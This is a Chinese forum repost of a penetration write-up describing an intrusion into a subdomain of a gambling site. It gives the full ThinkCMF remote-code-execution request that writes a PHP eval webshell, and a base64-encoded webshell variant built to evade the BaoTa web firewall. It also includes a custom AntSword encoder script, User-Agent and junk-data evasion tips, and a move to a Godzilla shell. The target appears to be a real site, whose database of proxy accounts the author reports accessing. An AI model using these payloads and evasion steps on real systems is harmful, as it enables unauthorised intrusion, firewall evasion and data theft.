跳转到帖子

记一次绕过宝塔防火墙的BC站渗透

recommended_posts

发布于
  • Members

0x00  信息收集

由于主站存在云waf 一测就封 且初步测试不存在能用得上的洞 所以转战分站 希望能通过分站获得有价值的信息

dcdg4cpvihg9399.png
这是一个查询代理帐号的站 url输入admin 自动跳转至后台

mbfq4gqagnm9400.png
看这个参数 猜测可能是thinkCMF

0x01 getshell

thinkcmf正好有一个RCE 可以尝试一下

2vxs1a30ca19401.png

白屏是个好兆头 应该是成功了
访问一下

qbrytrzomz59402.png

尝试蚁剑连接 直接报错 猜测可能遇到防火墙了

rarbcjdh4id9403.png

然后再回来看一下shell 手动尝试一个phpinfo

1lhsfd3yan29404.png
果然存在宝塔防火墙

0x02 绕过宝塔防火墙

宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。

尝试将所有的payload Base64编码传输

既然传过去的是编码后的Base64,小马也应该相应做出改变,只需解密一次传递过来的base64即可。

小马如下:

<?php @eval(base64_decode($_POST[zero]));?>

将phpinfo();base64编码为 cGhwaW5mbygpOw==

发送

d3o42y5colz9405.png

可见 宝塔防火墙没再拦截 已经成功绕过宝塔防火墙

0x03 改造蚁剑

我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的 。

尝试直接使用自带的Base64编码器

0nrnevhcxby9406.png

为什么会这样呢?

我们尝试从蚁剑的流量分析

设置代理到burp

wb5ggupwhz59407.png

拦截流量

rgjwmpimyhd9408.png

我们可以看到 明显有两个地方容易被waf识别

一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点

二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密,所以用它的默认编码器不仅过不去waf 即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。

新建PHP编码器

nfkiy5xf0u39409.png

由于我们只需要将payloadBase64编码一次即可,所以直接将data['_']Base64 处理赋值即可 随机参数有没有无所谓的

编码器如下

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {

  data[pwd] = Buffer.from(data['_']).toString('base64');

  delete data['_'];

  return data;
}

然后修改UA头

mxke04rscxa9410.png

应用我们的编码器 解码器不需要指定 默认即可
建议选择 增加垃圾数据和Multipart发包

0u320ruse3h9411.png

再次测试连接

hc0dfzoreff9412.png

wxkvpjxa3359413.png

然后点击目录 发现依然存在问题 不能跨目录 这个问题其实哥斯拉可以解决 上传哥斯拉马

这里可能有人会问了 那你直接上传哥斯拉马不就行了吗 实际情况是 get传参有长度限制 而且有的符号会导致截断php文件无法上传完整

zv3x5wkjgwe9414.png
网站有挺多 但是很可惜没有主站 数据库里只有一堆代理帐号 浪费时间了

kbhtogufrzr9415.png


0x03  总结

1.访问BC目标主站发现没有可利用漏洞,通过访问分站,并输入admin目录,跳转到后台2.通过cms指纹查询,发现分站是thinkcmf框架3.执行rce写入一句话http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test1.php','<?php @eval($_POST[zero])?>')4.访问地址http://www.xxx.com/test1.php显示空白。5.尝试蚁剑连接,直接报错 ,执行post命令,发现显示宝塔防火墙http://www.xxx.com/test1.phppost:zero=phpinfo();6.这里RCE写入一句话base64加密http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test2.php','<?php @eval(base64_decode($_POST[zero]));?>')7.将phpinfo();base64编码为 cGhwaW5mbygpOw==并正常请求访问http://www.xxx.com/test2.phppost: zero=cGhwaW5mbygpOw==7宝塔防火墙会拦截蚁剑的User-Agent以及包含命令执行的关键字如cmd参数后的 eval base64_decode一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密8,改造默认的base64编码器'use strict';
/** @param  {String} pwd   连接密码* @param  {Array}  data  编码器处理前的 payload 数组* @return {Array}  data  编码器处理后的 payload 数组*/module.exports = (pwd, data, ext={}) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;}9.在蚁剑的请求信息中修改UA头name:User-Agentvaule:为平常普通的的http请求值10,通过改造后的蚁剑加载修改后的的编码器进行连接,点击目录依然不能访问。12.同样的方法在哥斯拉中加载改造默认的base64编码器,可绕过宝塔防火墙,并正常访问

原文链接: https://xz.aliyun.com/t/9295


  • 查看数 721
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…